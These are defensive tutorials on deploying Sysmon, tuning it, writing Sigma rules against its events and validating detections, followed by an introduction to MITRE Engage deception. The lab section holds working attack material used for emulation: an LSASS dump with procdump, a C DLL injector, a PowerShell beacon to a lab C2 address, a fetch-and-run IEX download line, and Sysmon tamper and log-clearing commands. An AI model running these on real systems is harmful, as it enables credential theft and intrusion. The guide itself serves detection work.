Two hard truths worth stating. First, when a technique lives entirely in memory and never touches a module load, a file write, or a socket, Sysmon may simply have nothing to log; that is where a kernel-callback EDR or ETWTI earns its licence. Second, re-validate after every OS patch and Sysmon upgrade, because a schema change can quietly stop an event from firing the way your rule expects.


11. Common Attacker Techniques Against Sysmon

Sysmon is a target itself. If an adversary blinds it, your whole matrix goes dark.

TechniqueDescription
Service stopsc stop Sysmon64 or driver unload to kill telemetry (T1562.001)
Config swapPush a stripped config that excludes the attacker’s own tooling (T1562.001)
Provider unhookManipulate the ETW provider so events are dropped before the log
Renamed binaryRename the Sysmon service/driver to defeat brittle name-based checks
Log clearingWipe Microsoft-Windows-Sysmon/Operational post-compromise

The saving grace is that Sysmon narrates its own tampering. EID 4 logs every service start and stop, and EID 16 logs every config change with the new ConfigurationFileHash. An unexpected stop or an unapproved config hash is a loud, high-fidelity alert.


Illustration of an attacker disabling a monitoring camera symbolising Sysmon tampering and evasion techniques
Sysmon is itself a high-value target – but EIDs 4 and 16 mean it narrates its own blinding, giving defenders a last line of visibility into tampering attempts.

12. Defensive Strategies & Detection

Alert-worthy fields, distilled:

EIDAlert condition
1OriginalFileName mismatches Image basename (masquerading); rare parent spawning a shell
8StartModule blank, or TargetImage is lsass.exe
10TargetImage is lsass.exe and GrantedAccess in {0x1010,0x1410,0x1fffff}
15TargetFilename contains a : after the extension (ADS)
17PipeName matches \postex_*, \msagent_*, \mojo.*, \wkssvc*
1921Any new subscription triad in root\subscription
22High-frequency NXDOMAIN, high subdomain entropy, odd source process
25Type = Image is replaced

Detect tampering against Sysmon itself with EIDs 4 and 16:

title: Sysmon Service Stop or Unapproved Config Change
logsource:
  product: windows
  service: sysmon
detection:
  service_state:
    EventID: 4
    State: 'Stopped'
  config_change:
    EventID: 16
  condition: service_state or config_change
level: high

Pair Sysmon with native audit knobs. Enable command-line auditing (auditpol /set /subcategory:"Process Creation" /success:enable plus ProcessCreationIncludeCmdLine_Enabled = 1) so 4688 corroborates EID 1. Turn on PowerShell Script Block Logging (EnableScriptBlockLogging = 1) for Microsoft-Windows-PowerShell/Operational EID 4104. Enable Object Access auditing to complement registry EIDs 12 to 14.

Formal ATT&CK mapping for the primitives exercised above:

TechniqueMITRE IDDetection
Command and Scripting InterpreterT1059EID 1 command line, EID 4104 script blocks
System Binary Proxy Execution: MshtaT1218.005EID 1 Image/CommandLine
Thread Execution HijackingT1055.003EID 8 blank StartModule
Process HollowingT1055.012EID 25 Image is replaced
OS Credential Dumping: LSASST1003.001EID 10 GrantedAccess, EID 9 RawAccessRead
Application Layer Protocol: DNST1071.004EID 22 NXDOMAIN bursts
WMI Event SubscriptionT1546.003EIDs 19/20/21 triad
Impair Defenses: Disable ToolsT1562.001EIDs 4 and 16
Indicator Removal: TimestompT1070.006EID 2 PreviousCreationUtcTime

Harden the deployment: store the config so its binary blob lives in the registry and remove the plaintext XML from disk, ACL the driver object to block sc stop Sysmon64, forward events to your SIEM in near real time via Windows Event Collection, and re-run Atomic Red Team after every upgrade.


13. Tools for Sysmon Analysis

ToolDescriptionLink
SysmonThe service and driver itself; -s dumps schemalearn.microsoft.com
sysmon-modularModular config mapped to ATT&CKgithub.com
Atomic Red TeamPer-technique tests to validate EID firinggithub.com
DeTT&CTTurns EID coverage into ATT&CK Navigator layersgithub.com
SigmaVendor-neutral detection rules and convertersigmahq.io
WinlogbeatShips the Sysmon channel to Elasticelastic.co
Elastic / SplunkSIEM backends for query and alertingelastic.co
Event Viewer / Get-WinEventNative inspection of the Operational loglearn.microsoft.com

14. Summary

  • Sysmon converts “a process ran” into a full narrative (command line, parent, hash, network tuple, memory access) that native 4688 cannot match.
  • Every Event ID maps to specific ATT&CK data components, so an enabled EID equals coverage and a disabled one equals a documented blind spot.
  • The highest-signal events are 1, 8, 10, 22, and 25 – LOLBins, injection, LSASS access, DNS C2, and process hollowing respectively.
  • Validate, do not assume. Fire each technique with Atomic Red Team, confirm the EID fires, confirm a Sigma rule matches, and record the last-validated date in a coverage matrix.
  • Watch Sysmon watching itself. EIDs 4 and 16 catch service stops and config swaps, the first thing an adversary does to go dark.

Related Tutorials

References

Sysmon Deployment and Configuration: Designing a High-Fidelity Telemetry Pipeline

You inherit a Windows domain. There is no EDR budget this quarter. The SOC is drowning in 4688s that lack command lines, and the last time someone dumped LSASS on a domain controller, nobody knew for six weeks. This is the situation Sysmon was built for, and it is also the situation where a bad Sysmon config makes things worse, not better. Deploying Sysmon is easy. Deploying Sysmon so it produces a signal a human analyst can actually work with, without burning your log license by lunchtime, is a design job.

This walkthrough builds that pipeline end to end against a lab: install, configure, tune, forward to SIEM, write Sigma rules, and then attack the box with Atomic Red Team to prove each detection fires. If you cannot demonstrate the detection working after emulating the technique, you do not have the detection.


1. What Sysmon Is (and What It Is Not)

Sysmon is a Sysinternals tool: a Windows service backed by a kernel driver that subscribes to ETW providers and writes structured, high-value events into a dedicated log channel. It is not installed by default. It does not analyze events. It does not block anything (with the narrow exception of the new FileBlock* families, EIDs 27 and 28). It does not alert. It is a sensor. Everything downstream, correlation, alerting, response, is your SIEM’s job.

Two architectural details matter before you install anything:

  • Log channel: Microsoft-Windows-Sysmon/Operational under Applications and Services Logs in Event Viewer.
  • ETW Provider: Microsoft-Windows-Sysmon, GUID {5770385f-c22a-43e0-bf4c-06f5698ffbd9}. This is what Sigma’s logsource maps to.

Windows 11 introduced a built-in Sysmon capability. It does not coexist with standalone Sysmon: you must uninstall one before enabling the other. For lab work and most enterprise deployments today, standalone Sysmon v15.x is still the right answer, and Sysmon 15+ runs as a Protected Process Light (PPL), which materially raises the bar for tampering.


2. The Complete Event ID Taxonomy

Sysmon v15.2 emits 29 event IDs. Learn them in groups, not as a flat list. When you triage an alert, you are almost always chasing the ProcessGuid correlation chain from one of these groups to another.

EIDRule NameWhat It Tells You
1ProcessCreateFull command line, parent chain, hashes, OriginalFileName, integrity level
2FileCreateTimeTimestomping
3NetworkConnectOutbound/inbound sockets tied to a ProcessGuid
4ServiceStateChangeSysmon service itself started/stopped
5ProcessTerminateProcess exit
6DriverLoadKernel driver load with signing status
7ImageLoadDLL loads (noisy, filter aggressively)
8CreateRemoteThreadClassic cross-process injection
9RawAccessReadRaw disk reads bypassing NTFS
10ProcessAccessHandle opens with GrantedAccess mask (LSASS gold)
11FileCreateNew files on disk
12RegistryEventKey create/delete
13RegistryEventValue set (fires constantly, tune hard)
14RegistryEventKey/value rename
15FileCreateStreamHashAlternate Data Streams, mark-of-the-web (Zone.Identifier)
16ServiceConfigurationChangeSysmon config reloaded (audit trail)
17PipeEventNamed pipe created
18PipeEventNamed pipe connected
19WmiEventWMI EventFilter created
20WmiEventWMI EventConsumer created
21WmiEventConsumer-to-filter binding
22DNSEventDNS queries (very noisy)
23FileDeleteArchives deleted files to ArchiveDirectory
24ClipboardChangeClipboard capture
25ProcessTamperingHollowing / image tampering
26FileDeleteDetectedDelete without archive
27FileBlockExecutableBlocks PE creation
28FileBlockShreddingBlocks shredder tools
29FileExecutableDetectedNew PE written to disk with hashes

The single most useful field across all of these is ProcessGuid. Unlike ProcessId, which Windows reuses, ProcessGuid is unique within a domain and lets you pivot from an EID 1 to every EID 3, 7, 8, 10, and 11 that process later produces. Build your SIEM correlations on it.


Hierarchy diagram grouping all 29 Sysmon event IDs into six functional categories: Process Activity, Network and DNS, Injection and Access, Persistence, File and Driver, and Sensor Integrity
Sysmon’s 29 event IDs organised by detection function – learn them in groups, not as a flat list.

3. Installation and Deployment at Scale

Start on a single lab VM with the standalone install. Use Olaf Hartong’s sysmon-modular for anything beyond a five-minute demo; SwiftOnSecurity’s sysmonconfig-export.xml is a solid single-file starter but is easier to outgrow than to extend.

# Grab Sysmon v15.x and sysmon-modular
Invoke-WebRequest https://download.sysinternals.com/files/Sysmon.zip -OutFile Sysmon.zip
Expand-Archive .\Sysmon.zip -DestinationPath .\Sysmon
git clone https://github.com/olafhartong/sysmon-modular.git

# Build a merged config from the modular repo (uses their merge script)
cd .\sysmon-modular
.\Merge-SysmonXml.ps1 -AllRuleFiles -AsString | Out-File ..\sysmonconfig.xml -Encoding utf8
cd ..

# Install
.\Sysmon\Sysmon64.exe -accepteula -i .\sysmonconfig.xml

# Confirm
Get-Service Sysmon64
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -MaxEvents 5 |
    Select-Object TimeCreated, Id, LevelDisplayName

You should see EID 4 (service state change, state: Started) followed by EID 16 (config load). If those two are not the first entries in the log, the service did not start with your config. That is your smoke test.

Live-updating the config after install does not require a service restart:

.\Sysmon\Sysmon64.exe -c .\sysmonconfig.xml

Every successful reload fires another EID 16. Alert on EID 16 events where the source is not your deployment pipeline. That is your tamper canary.

For fleet deployment, the pragmatic path is a GPO-enforced scheduled task that runs a small PowerShell wrapper on boot. The wrapper checks whether Sysmon is installed and at the current config hash, and reinstalls or updates as needed. Store Sysmon64.exe and sysmonconfig.xml on SYSVOL. SYSVOL is the right choice because it is already replicated across domain controllers and its ACLs restrict write access to Domain Admins by default. If a helpdesk user can write to the config share, everything downstream is theatre.


4. XML Configuration Deep Dive

The config schema is simple, but the filtering logic bites people. Structure:

<Sysmon schemaversion="4.90">
  <HashAlgorithms>SHA256,IMPHASH</HashAlgorithms>
  <CheckRevocation/>

  <EventFiltering>
    <RuleGroup name="ProcCreate_Include" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="T1059.001_PowerShell_Encoded" groupRelation="and">
          <Image condition="end with">\powershell.exe</Image>
          <CommandLine condition="contains any">-enc;-EncodedCommand;FromBase64String</CommandLine>
        </Rule>
      </ProcessCreate>
    </RuleGroup>

    <RuleGroup name="ProcCreate_Exclude" groupRelation="or">
      <ProcessCreate onmatch="exclude">
        <Image condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</Image>
        <ParentImage condition="is">C:\Windows\System32\svchost.exe</ParentImage>
      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Two things to internalize:

  1. onmatch="include" means log only if this rule matches. onmatch="exclude" means log everything except matches. Within a single event type, include and exclude are separate rule sets, both evaluated. If any include rule matches, the event is emitted (and tagged with RuleName). If any exclude rule matches, the event is dropped.
  2. groupRelation="and" inside a <Rule> requires every condition to match. groupRelation="or" on the parent <RuleGroup> is what lets you stack multiple independent rules.

The name="" attribute on each <Rule> populates the RuleName field in the emitted event. Use ATT&CK IDs there: T1059.001_PowerShell_Encoded, T1003.001_LSASS_Access. When a SOC analyst opens the event, they get the technique ID for free.

<HashAlgorithms> is a knob people over-tune. Full-file SHA256 on every ImageLoad sounds thorough and burns CPU on servers that load thousands of DLLs. SHA256,IMPHASH on process create and driver load is enough for hunting and family clustering. IMPHASH in particular is the one you cannot get anywhere else, and it survives trivial repacks.

Rule ordering matters only within a single event type: the first matching rule wins for RuleName tagging, but filtering is evaluated across all rules. Keep the config commented, keep rule names ATT&CK-mapped, and version-pin it in git.


5. Tuning Strategy: Signal vs Noise

The noise problem is real. On a workstation, EID 13 (registry value set) can produce tens of thousands of events per hour if you do not filter. EID 22 (DNS) is worse. EID 7 (image load) is the runner-up. The correct approach is not “log less”; it is “log everywhere an attacker actually goes.”

Practical baseline for noise control:

  • EID 13: exclude by default, then explicitly include autorun locations. Log HKLM\...\Run, HKLM\...\RunOnce, Image File Execution Options, AppInit_DLLs, Winlogon\Shell, service ImagePath writes, and Office Trust Records. Ignore the rest.
  • EID 22: exclude the top 500 or so domains you know your fleet queries constantly (*.microsoft.com, telemetry endpoints, your own AD DNS names) and log everything else. Set an eye on newly registered domains, DGA-shaped names, and DNS-over-HTTPS bypasses.
  • EID 7: exclude signed Microsoft DLLs loading from C:\Windows\System32\ into signed Microsoft parents. Then aggressively log unsigned DLLs loaded from user-writable paths.

Attackers live in user-writable directories. Non-negotiable inclusion paths: %AppData%, %LocalAppData%\Temp, %ProgramData%, %Public%, HKCU\Software\Microsoft\Windows\CurrentVersion\Run, and the per-user Startup folder. I have watched more than one incident where the payload sat in %AppData%\Roaming\<vendor> for weeks because the config excluded “trusted” vendor directories by name.

A small war story worth internalizing: I once shipped a “tuned” config that excluded PowerShell child processes of sdiagnhost.exe because Microsoft Troubleshooter was producing false positives. Six weeks later, red team abused a signed diagnostic path to launch encoded PowerShell and my exclusion swallowed the alert whole. Exclusions are a liability. Prefer narrow includes.


6. Community Baselines: SwiftOnSecurity vs sysmon-modular

ConfigModelBest For
sysmonconfig-export.xml (SwiftOnSecurity)Single monolithic fileStarter deployments, home labs, small orgs
sysmon-modular (Olaf Hartong)Per-technique XML modules merged at build timeEnterprise, ATT&CK-mapped detections, CI/CD
ion-storm forkSwiftOnSecurity with added ATT&CK rules and UEBA hooksWide CVE coverage, ATT&CK data-source density

sysmon-modular is the correct default for anyone serious. Each technique lives in its own file under 1_process_creation/, 12_registry_event/, and so on. You compose the config with Merge-SysmonXml.ps1, diff it in git, and roll forward. Fork it. Version-pin it. Never install “latest master” as your production config, because upstream changes will silently reshape your detections.


7. Log Forwarding to SIEM

Sysmon writes locally. Something else has to move the events. Three practical patterns:

Windows Event Forwarding (WEF/WEC). Native, agentless from the endpoint’s perspective, and free. Configure a WEC collector, distribute a subscription policy via GPO, and forward Microsoft-Windows-Sysmon/Operational to the collector’s ForwardedEvents channel. From there, an agent scrapes to SIEM.

Splunk Universal Forwarder. In inputs.conf:

[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
renderXml = true
index = sysmon
sourcetype = XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

renderXml = true matters. Rendered XML gives you every field as a parseable KV pair without hoping the default extraction covers CommandLine correctly.

Elastic (Winlogbeat/Elastic Agent). winlogbeat.yml snippet:

winlogbeat.event_logs:
  - name: Microsoft-Windows-Sysmon/Operational
    processors:
      - script:
          lang: javascript
          id: sysmon
          file: ${path.home}/module/sysmon/config/winlogbeat-sysmon.js

Winlogbeat’s Sysmon module normalizes fields to Elastic Common Schema (process.command_line, process.parent.executable). ECS makes cross-source correlation easy but hides the raw Sysmon field names Sigma rules assume. Keep both: index the raw event under winlog.event_data.* and let ECS-mapped fields ride alongside.

Wazuh ingests the channel via its Windows agent by default; no extra config beyond enabling the channel in ossec.conf.

Whatever you pick, verify end-to-end by triggering an EID 1 you can spot (e.g. whoami.exe /priv) and confirming it lands in the SIEM within your expected latency budget. If forwarding lag is above a minute or two, that is a design problem, not a tuning problem.


Flow diagram showing the Sysmon telemetry pipeline from the kernel driver through the ETW provider and event channel, through a log shipper, into a SIEM where Sigma rules generate alerts
Every Sysmon event travels from kernel driver to ETW provider to event channel before a shipper carries it to the SIEM for correlation.

8. Writing Sigma Rules Against Sysmon Telemetry

Sigma is the lingua franca. Write rules in Sigma once, convert to Splunk SPL, Elastic Lucene, KQL, or whatever your target speaks. The logsource block does the heavy lifting: category: process_creation implicitly targets Sysmon EID 1 (provider Microsoft-Windows-Sysmon, GUID {5770385f-c22a-43e0-bf4c-06f5698ffbd9}, channel Microsoft-Windows-Sysmon/Operational).

Sigma categorySysmon EID
process_creation1
network_connection3
image_load7
create_remote_thread8
process_access10
file_event11
registry_set13
pipe_created / pipe_connected17 / 18
wmi_event19-21
dns_query22

Rules use raw Sysmon field names (Image, CommandLine, TargetImage, GrantedAccess) inside detection.


9. Adversary Emulation Lab: Validate the Pipeline

Detection you have not tested is not detection. The lab: a Windows 10 or 11 VM domain-joined to a Windows Server 2019 AD, Sysmon v15 installed with your merged sysmon-modular config, Splunk Free (or Elastic + Kibana) receiving events. Install Atomic Red Team on the target:

Set-ExecutionPolicy Bypass -Scope Process -Force
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics -Force
Import-Module Invoke-AtomicRedTeam

Now walk the techniques.

Phase 1: T1059.001 (PowerShell) validates EID 1

Invoke-AtomicTest T1059.001 -TestNumbers 1

Expected event: EID 1, Image ends with powershell.exe, CommandLine contains -enc or -EncodedCommand, ParentImage is the shell that launched the atomic. SIEM check in Splunk:

index=sysmon EventCode=1 Image="*\\powershell.exe"
  CommandLine="*-enc*" OR CommandLine="*FromBase64String*"
| table _time, host, User, ParentImage, CommandLine

Phase 2: T1003.001 (LSASS Memory) validates EID 10

# Use Sysinternals ProcDump in the lab. Do not do this in production without authorization.
.\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Expected: EID 10 with TargetImage ending in lsass.exe and GrantedAccess in the 0x1010, 0x1438, or 0x1FFFFF range depending on tool. The Sigma rule:

title: LSASS Memory Access Consistent With Credential Dumping
id: 6a2e9a1e-2c3f-4d1a-9f4b-1b0e7cabb1d1
status: experimental
description: Detects high-privilege handle opens to lsass.exe
references:
  - https://attack.mitre.org/techniques/T1003/001/
tags:
  - attack.credential_access
  - attack.t1003.001
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1FFFFF'
      - '0x1010'
      - '0x1438'
  filter_edr:
    SourceImage|startswith:
      - 'C:\Program Files\Windows Defender\'
      - 'C:\Program Files\Microsoft Security Client\'
  condition: selection and not filter_edr
falsepositives:
  - AV/EDR agents legitimately opening handles to lsass
level: high

Convert and deploy:

sigma convert -t splunk -p sysmon rules/lsass_access.yml
sigma convert -t elastic-lucene -p sysmon rules/lsass_access.yml

Phase 3: T1547.001 (Run Key Persistence) validates EID 13

Invoke-AtomicTest T1547.001 -TestNumbers 1

Expected: EID 13 (RegistryEvent (Value Set)), TargetObject matches HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\* or the equivalent HKCU path, Details contains the payload path. If your config excludes registry value sets by default, confirm your include rule for autorun keys fires; if EID 13 does not appear, your exclude/include ordering is off.

Phase 4: T1055.001 (DLL Injection) validates EIDs 8 and 7

Small self-written injector in C, compiled with x86_64-w64-mingw32-gcc on the attacker box:

// inject.c: minimal CreateRemoteThread + LoadLibraryA DLL injection (lab only)
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    if (argc != 3) { printf("usage: inject.exe <pid> <dll>\n"); return 1; }
    DWORD pid = atoi(argv[1]);
    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!h) return 2;

    LPVOID remote = VirtualAllocEx(h, NULL, strlen(argv[2]) + 1,
                                   MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(h, remote, argv[2], strlen(argv[2]) + 1, NULL);

    LPTHREAD_START_ROUTINE loadlib =
        (LPTHREAD_START_ROUTINE)GetProcAddress(
            GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    CreateRemoteThread(h, NULL, 0, loadlib, remote, 0, NULL);
    CloseHandle(h);
    return 0;
}

Run against a notepad.exe you launched in the lab. Expected:

  • EID 8 (CreateRemoteThread): SourceImage is inject.exe, TargetImage is notepad.exe, StartModule is C:\Windows\System32\kernel32.dll, StartFunction is LoadLibraryA.
  • EID 7 (ImageLoad): the injected DLL loading into the notepad process, with Signed=false.

Detection: alert on EID 8 where StartModule ends in kernel32.dll and StartFunction is LoadLibraryA, LoadLibraryW, or LdrLoadDll. This is a classic pattern; if your rule set does not fire on it, your rule set is broken.

Phase 5: T1071.001 (Web C2) validates EID 3

while ($true) {
    Invoke-WebRequest -Uri "http://10.0.0.5/beacon" -UseBasicParsing | Out-Null
    Start-Sleep -Seconds 30
}

Expected: recurring EID 3 with Image ending in powershell.exe, DestinationIp = lab C2, Initiated=true. Detect on the beacon interval, not the single connection: PowerShell producing a network connection every 30 (ish) seconds for an hour is the anomaly.

Phase 6: T1546.003 (WMI Persistence) validates EIDs 19-21

Invoke-AtomicTest T1546.003 -TestNumbers 1

Expected: EID 19 (WmiEventFilter created), EID 20 (WmiEventConsumer created), EID 21 (consumer bound to filter). Any one of the three is suspicious in a well-run environment. All three from the same process in seconds is a very high-confidence signal.

Phase 7: Coverage mapping with DeTT&CT

pip install dettect
python -m dettectinator --help
# Generate data-source YAML derived from what your config actually logs
# Import the resulting JSON layer into ATT&CK Navigator to see coverage gaps visually.

DeTT&CT will tell you honestly what your config sees and what it does not. Every white square on the Navigator layer is a bet you are making that no adversary uses that technique. Reduce the surface area of that bet each sprint.


Flow diagram tracing a T1003.001 LSASS memory dump attack from the attacker process opening a handle to lsass.exe through Sysmon EID 10 capture to Sigma rule alert generation
T1003.001 detection chain: a high-privilege OpenProcess call to lsass.exe surfaces as EID 10 and triggers the Sigma process_access rule.

10. Hardening the Sensor Itself

An attacker who owns the endpoint will notice Sysmon. Sysmon v15+ runs as PPL, which blocks user-mode process termination and DLL injection even from Administrator, but PPL is not immune to abuse via signed drivers or configuration attacks. Do all of the following:

  • SYSVOL config ACL: verify only Domain Admins can write to the deployment share.
  • Confirm PPL: Get-Process Sysmon64 | Format-List Name, Id, ProtectionLevel should show PsProtectedSignerAntimalware-Light or similar.
  • Alert on service stop: correlate Security EID 7040 (service state change) with Sysmon EID 4. A Sysmon EID 4 with state Stopped on a running box means someone flipped the switch.
  • Alert on config drift: hash sysmonconfig.xml in your deployment pipeline; any EID 16 whose timing does not line up with a pipeline push is an incident, not a maintenance event.
  • Restrict the log channel: the Microsoft-Windows-Sysmon/Operational channel should be readable only by Administrators, which is the default. Confirm anyway.
  • Complement with Windows audit: enable Detailed Tracking > Audit Process Creation (Security EID 4688) and PowerShell Script Block Logging (EID 4104). Sysmon EID 1 is strictly richer than 4688, but 4104 catches script content that never touches powershell.exe directly.

Illustration of a vault door repelling an attacker's hand with an invisible protective barrier, symbolising Sysmon running as a Protected Process Light resistant to tampering
Sysmon v15+ runs as Protected Process Light, blocking user-mode termination and injection even from Administrator-level attackers.

11. Common Attacker Techniques Against Sysmon

TechniqueDescription
Service tampering (sc delete Sysmon64)Blocked under PPL, but attackers try; fires EID 4 and Security EID 7040
Config replacementPush a permissive config to blind the sensor; caught by EID 16 hash drift
ETW patchingUser-mode ETW patch (EtwEventWrite) to silence the provider from within a payload
Driver unload attemptsAttempts to unload SysmonDrv via signed vulnerable driver (BYOVD)
Log clearingwevtutil cl Microsoft-Windows-Sysmon/Operational produces Security EID 1102
Log volume floodingDeliberate noise to drown detections in retention rollover

12. Defensive Strategies and Detection

Sysmon is the sensor; detection lives in the SIEM. Cover the following at minimum:

  • EID 4 with state=Stopped anywhere off-hours or without a corresponding maintenance ticket.
  • EID 16 without a matching pipeline deployment event.
  • Security EID 1102 (audit log cleared).
  • EID 10 with TargetImage = lsass.exe and any GrantedAccess containing 0x10 (VM read) or 0x1400 (query information + VM read).
  • EID 8 where StartModule and StartFunction are the classic injection pair.

Baseline Sigma rule for a canary you actually want:

title: Sysmon Service Stopped or Uninstalled
id: 5b6a1c3a-9f7b-4b19-91ac-1e6b3f6c1234
status: stable
description: Sysmon service state changed to stopped
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 4
    State: 'Stopped'
  condition: selection
falsepositives:
  - Planned maintenance
level: high

13. Tools

ToolDescriptionLink
SysmonThe sensor itselflearn.microsoft.com/sysinternals
sysmon-modularModular, ATT&CK-mapped Sysmon configgithub.com/olafhartong/sysmon-modular
SwiftOnSecurity configSingle-file starter configgithub.com/SwiftOnSecurity/sysmon-config
Atomic Red TeamTechnique emulation librarygithub.com/redcanaryco/atomic-red-team
DeTT&CTData-source coverage mapping to ATT&CKgithub.com/rabobank-cdc/DeTTECT
pySigma / sigma-cliSigma rule authoring and conversiongithub.com/SigmaHQ/pySigma
sigconverter.ioWeb UI for Sigma conversionsigconverter.io
Winlogbeat / Elastic AgentLog shipper with Sysmon ECS moduleelastic.co
Splunk Universal ForwarderLog shipper for Splunksplunk.com

14. MITRE ATT&CK Mapping

TechniqueMITRE IDPrimary Sysmon EID(s)
PowerShellT1059.0011, 7
Windows Command ShellT1059.0031
LSASS Memory DumpT1003.00110
Registry Run KeysT1547.00112, 13
DLL InjectionT1055.0017, 8
PE InjectionT1055.0028, 10, 25
Process HollowingT1055.01225
Web C2T1071.0013, 22
SMB Admin SharesT1021.0023, 17, 18
WMIT10471, 19, 20, 21
WMI Event SubscriptionT1546.00319, 20, 21
DLL Side-LoadingT1574.0027
TimestompingT1070.0062
Ingress Tool TransferT110511, 15, 29
Rename System UtilitiesT1036.0031 (OriginalFileName vs Image)
Modify RegistryT111212, 13, 14
Service ExecutionT1569.0021
Disable or Modify ToolsT1562.0014, 16

Summary

  • Sysmon is a sensor, not a detection platform. Everything downstream (correlation, alerting, response) belongs to the SIEM. Design the pipeline as a whole or you will end up with expensive noise.
  • ProcessGuid is the correlation key. Build SIEM joins on it and treat EID 1 as the anchor for every follow-on event on that process.
  • Modular configs win. Fork sysmon-modular, ATT&CK-tag every RuleName, version-pin in git, deploy via SYSVOL-hosted scheduled task.
  • Tune with narrow includes, not sweeping excludes. Exclusions silently swallow real attacks; %AppData%, %Temp%, and Startup are non-negotiable inclusion zones.
  • Detection you cannot demonstrate does not exist. Run Atomic Red Team, watch the events fire, write the Sigma rule, convert, deploy, and prove it in your SIEM. If it does not fire in the lab, it will not fire in production.

Related Tutorials

References

MITRE Engage: Denial, Deception, and Adversary Engagement Concepts for Defenders

You have full visibility, decent EDR, and an intruder still walked in. What now? Most shops answer “detect and evict” and stop there. Engage says something different: keep them in a room you built, learn everything they know, and make the whole intrusion expensive and worthless to them.

Objective: Understand MITRE Engage as a framework for cyber denial, deception, and adversary engagement. You will learn the Engage Matrix (Goals, Approaches, Activities), the SGO/EGO/SAP/EAP/SAC/EAC identifier scheme, the 10-Step Process, and the Engage-to-ATT&CK mapping workflow, then plan and run a small elicitation operation against a self-built deception lab.


1. What Is MITRE Engage (History and Rationale)

Engage is the successor to MITRE Shield. Shield was a useful idea shipped as a technique dump: lots of execution-focused deception tactics, almost no guidance on planning or on turning what you observed into intelligence. Engage keeps the tradecraft and adds the two things that actually make an operation succeed – planning up front and analysis at the end.

The core premise is blunt. Since network compromise is often inevitable, defenders can use adversary engagement to ensure that compromise does not mean loss. Instead of only trying to keep everyone out, you accept that someone will get in and you build the terrain so that their presence works for you. The goal is to drive up the cost and drive down the value of the adversary’s cyber operations.

That cost-value framing is the whole point. If the environment an attacker lands in might be fake, every action they take carries risk. Every credential might be a tripwire. Every document might be a canary. You are not just detecting; you are taxing their operation.

MITRE’s own numbers are the argument for doing this. Before adversary engagement, MITRE detected only initial IOCs, an average of about two per operation. After adopting adversary engagement, MITRE collected on average 40 new pieces of intel per operation. That is the difference between “we found a bad IP” and “we understand this actor’s toolkit and intent.”


2. The Three Pillars: Denial, Deception, and Adversary Engagement

Get the vocabulary right before touching a honeypot, because the three terms are not interchangeable.

ConceptExact Description
Cyber DenialThe ability to prevent or impair the adversary’s ability to conduct their operations. This disruption may limit their movements, collection efforts, or the effectiveness of their capabilities.
Cyber DeceptionIntentionally revealing deceptive facts and fictions to mislead the adversary, while concurrently concealing critical facts and fictions so the adversary cannot form correct estimations or take appropriate actions.
Adversary EngagementDenial and deception used together, inside strategic planning and analysis. Goals can be any combination of exposing adversaries on the network, eliciting intelligence about their TTPs, or affecting their ability to operate.

Denial blocks or degrades. Deception misleads and manipulates. On their own each is a tactic. Bolted together and wrapped in strategy, they become engagement. The wrapping matters: a decoy share with no plan is just a honeypot that generates noise. A decoy share tied to a defined goal, a narrative, rules of engagement, and an analysis phase is an operation.

One editorial note that Engage itself is careful about: “engage” has a deliberate meaning. MITRE recommends engaging with the adversary but explicitly avoiding a hack-back. You manipulate your own terrain. You do not reach into theirs.


Concentric symbolic rings representing denial as a portcullis, deception as a cracked mirror, and adversary engagement as a spider's web trap
Denial blocks, deception misleads, and engagement combines both inside strategic planning to turn an intrusion into an intelligence operation.

3. The Engage Matrix Deep Dive

The Matrix has three structural layers: Goals, Approaches, and Activities. Strategic goals, approaches, and activities bookend the operation and force strategic planning. The engagement goals, approaches, and activities in the middle are the traditional denial and deception work that drives you toward those strategic goals.

Engage deliberately uses “Approaches” and “Activities” instead of ATT&CK’s “Tactics” and “Techniques” so nobody confuses the offensive and defensive matrices. Approaches move you toward a goal. Activities are the concrete things you deploy to structure an approach.

The Five Columns

There are five columns (Goals) in the Matrix, read left to right as the arc of an operation:

GoalRole in an Operation
PrepareStrategic bookend. The inputs to an operation: objectives, narrative, environment design, RoE.
ExposeUse deceptive activities to produce high-fidelity alerts when adversaries are active in the engagement environment.
AffectHave a negative impact on the adversary’s operations, changing the cost-value proposition. Increase their cost or reduce the value they extract.
ElicitEncourage the adversary to reveal additional or more advanced capabilities, producing actionable CTI to inform your other defenses.
UnderstandStrategic bookend. The outputs: what happened, what it means, and how it feeds the next operation.

The Identifier Scheme

Every Goal, Approach, and Activity has a unique ID with a consistent prefix. Memorize the two-letter middle and the strategic-versus-engagement first letter:

PrefixMeaning
SGOStrategic GOal
EGOEngagement GOal
SAPStrategic APproach
EAPEngagement APproach
SACStrategic ACtivity
EACEngagement ACtivity

The two strategic approaches you will use constantly are SAP0001 (Planning) and SAP0002 (Analysis). Planning is where persona creation, storyboarding, and, critically, exit criteria live. Analysis is where you turn the campaign into something actionable. If your goal is to collect an actor’s TTPs, you plan a credible end to the attack path before you start, because credibility is what keeps the adversary engaged long enough to be useful.

The engagement activities you touch most in a first operation:

EAC IDActivityWhat It Does
EAC0003System Activity MonitoringCollect system activity logs that reveal adversary behavior on decoy hosts.
EAC0005LuresDeceptive systems and artifacts serving as decoys, breadcrumbs, or bait to elicit a specific response.
EAC0006Application DiversityPresent a variety of installed applications and services to establish legitimacy.
EAC0007Network DiversityUse a diverse set of devices and services to support believability.
EAC0011Pocket LitterData used to support the engagement narrative and make a decoy credible.
EAC0018Security ControlsAlter controls to make a system more or less vulnerable, for example removing authentication on a Docker daemon.

